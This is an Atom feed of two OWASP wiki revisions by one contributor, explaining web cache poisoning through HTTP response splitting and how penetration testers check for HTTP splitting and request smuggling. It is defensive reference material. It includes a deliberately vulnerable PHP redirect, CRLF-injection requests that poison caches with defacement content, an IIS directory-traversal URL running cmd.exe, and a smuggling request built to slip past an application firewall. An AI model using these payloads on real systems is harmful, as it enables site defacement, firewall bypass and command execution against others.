<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ingo86</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ingo86"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Ingo86"/>
		<updated>2026-04-30T08:45:39Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cache_Poisoning&amp;diff=57875</id>
		<title>Cache Poisoning</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cache_Poisoning&amp;diff=57875"/>
				<updated>2009-04-02T14:44:25Z</updated>
		
		<summary type="html">&lt;p&gt;Ingo86: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[ASDR Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue to receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.&lt;br /&gt;
&lt;br /&gt;
To successfully carry out such an attack, an attacker:&lt;br /&gt;
* Finds the vulnerable service code, which allows them to fill the HTTP header field with many headers.&lt;br /&gt;
* Forces the cache server to flush its actual cache content, which we want to be cached by the servers.&lt;br /&gt;
* Sends a specially crafted request, which will be stored in cache.&lt;br /&gt;
* Sends the next request. The previously injected content stored in cache will be the response to this request.&lt;br /&gt;
&lt;br /&gt;
This attack is rather difficult to carry out in a real environment. The list of conditions is long and hard to&lt;br /&gt;
accomplish by the attacker. However it's easier to use this technique than [[Cross-User Defacement]].&lt;br /&gt;
&lt;br /&gt;
A Cache Poisoning attack is possible because of [[HTTP Response Splitting]] and flaws in the web application. It is crucial from&lt;br /&gt;
the attacker's point of view that the application allows for filling the header field with more than one header using CR&lt;br /&gt;
(Carrige Return) and LF (Line Feed) characters.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
We have found a web page, which gets its service name from the &amp;quot;page&amp;quot; argument and then redirects (302)&lt;br /&gt;
to this service.&lt;br /&gt;
&lt;br /&gt;
e.g.&lt;br /&gt;
http://testsite.com/redir.php?page=http://other.testsite.com/&lt;br /&gt;
&lt;br /&gt;
And exemplary code of the redir.php:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
rezos@dojo ~/public_html $ cat redir.php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
header (&amp;quot;Location: &amp;quot; . $_GET['page']);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Crafting appropriate request: [1]&lt;br /&gt;
&lt;br /&gt;
1 - remove page from the cache&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://testsite.com/index.html HTTP/1.1&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Host: testsite.com&lt;br /&gt;
User-Agent: Mozilla/4.7 [en] (WinNT; I)&lt;br /&gt;
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,&lt;br /&gt;
image/png, */*&lt;br /&gt;
Accept-Encoding: gzip&lt;br /&gt;
Accept-Language: en&lt;br /&gt;
Accept-Charset: iso-8859-1,*,utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
HTTP header fields &amp;quot;Pragma: no-cache&amp;quot; or &amp;quot;Cache-Control: no-cache&amp;quot; will remove the page from cache (if the page&lt;br /&gt;
is stored in cache, obviously).&lt;br /&gt;
&lt;br /&gt;
2 - using HTTP Response Splitting we force cache server to generate two responses to one request&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://testsite.com/redir.php?site=%0d%0aContent-&lt;br /&gt;
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-&lt;br /&gt;
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte&lt;br /&gt;
nt-Length:%2020%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0a%0d%0a&amp;lt;html&amp;gt;deface!&amp;lt;/html&amp;gt; HTTP/1.1&lt;br /&gt;
Host: testsite.com&lt;br /&gt;
User-Agent: Mozilla/4.7 [en] (WinNT; I)&lt;br /&gt;
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,&lt;br /&gt;
image/png, */*&lt;br /&gt;
Accept-Encoding: gzip&lt;br /&gt;
Accept-Language: en&lt;br /&gt;
Accept-Charset: iso-8859-1,*,utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We are intentionally setting the future time (in the header it's set to 27 October 2009) in the second&lt;br /&gt;
response HTTP header &amp;quot;Last-Modified&amp;quot; to store the response in the cache.&lt;br /&gt;
[[Category:FIXME|need to update now that it's 2009]]&lt;br /&gt;
&lt;br /&gt;
We may get this effect by setting the following headers:&lt;br /&gt;
* Last-Modified (checked byt the If-Modified-Since header)&lt;br /&gt;
* ETag (checked by the If-None-Match header)&lt;br /&gt;
&lt;br /&gt;
3 - sending request for the page, which we want to replace in the cache of the server&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://testsite.com/index.html HTTP/1.1&lt;br /&gt;
Host: testsite.com&lt;br /&gt;
User-Agent: Mozilla/4.7 [en] (WinNT; I)&lt;br /&gt;
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,&lt;br /&gt;
image/png, */*&lt;br /&gt;
Accept-Encoding: gzip&lt;br /&gt;
Accept-Language: en&lt;br /&gt;
Accept-Charset: iso-8859-1,*,utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In theory, the  cache server should match the second answer from the request #2 to the request #3. In this way we've replaced&lt;br /&gt;
the cache content.&lt;br /&gt;
&lt;br /&gt;
The rest of the requests should be executed during one connection (if the cache server doesn't require a more sophisticated&lt;br /&gt;
method to be used), possibly immediately one after another.&lt;br /&gt;
&lt;br /&gt;
It may appear problematic to use this attack as a universal techique for cache poisoning. It's due to cache server's different&lt;br /&gt;
connection model and request proccessing implementations. What does it mean? That for example effective method to poison&lt;br /&gt;
Apache 2.x cache with mod_proxy and mod_cache modules won't work with Squid.&lt;br /&gt;
[[Category:FIXME|I wasn't sure what the first 2 sentences were trying to say, can someone take a look at these?]]&lt;br /&gt;
&lt;br /&gt;
A different problem is the length of the URI, which sometime makes it impossible to put the necessary response header, which&lt;br /&gt;
would next be matched to the request for the poisoned page.&lt;br /&gt;
&lt;br /&gt;
The request examples used are from [1], which were modified on the needs of the article.&lt;br /&gt;
&lt;br /&gt;
More information can be found in this document, which focuses on these kinds of attacks [1]&lt;br /&gt;
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf by Amit Klein, Director of Security and Research&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agent]]s==&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[HTTP Response Splitting]]&lt;br /&gt;
* [[Cross-User_Defacement]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Input_Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Input Validation Attack]]&lt;br /&gt;
[[Category:Abuse of Functionality]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Ingo86</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=57874</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=57874"/>
				<updated>2009-04-02T13:45:45Z</updated>
		
		<summary type="html">&lt;p&gt;Ingo86: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g., UTF-7)&lt;br /&gt;
# Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.&lt;br /&gt;
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET. &lt;br /&gt;
 &lt;br /&gt;
===HTTP Smuggling===&lt;br /&gt;
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.&lt;br /&gt;
&lt;br /&gt;
'''Application Firewall Bypass'''&lt;br /&gt;
&lt;br /&gt;
There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
Of course, it is quite easy to spot and filter this attack by the presence of strings like &amp;quot;..&amp;quot; and &amp;quot;cmd.exe&amp;quot; in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49225 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49152 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).&lt;br /&gt;
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until &amp;quot;xxxx: &amp;quot;, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.&lt;br /&gt;
&lt;br /&gt;
While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.&lt;br /&gt;
&lt;br /&gt;
Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Message Splitting, Smuggling and Other Animals&amp;quot; - http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)&amp;quot; - http://www.securityfocus.com/archive/1/411418&lt;br /&gt;
* Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|broken links&lt;br /&gt;
&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Ingo86</name></author>	</entry>

	</feed>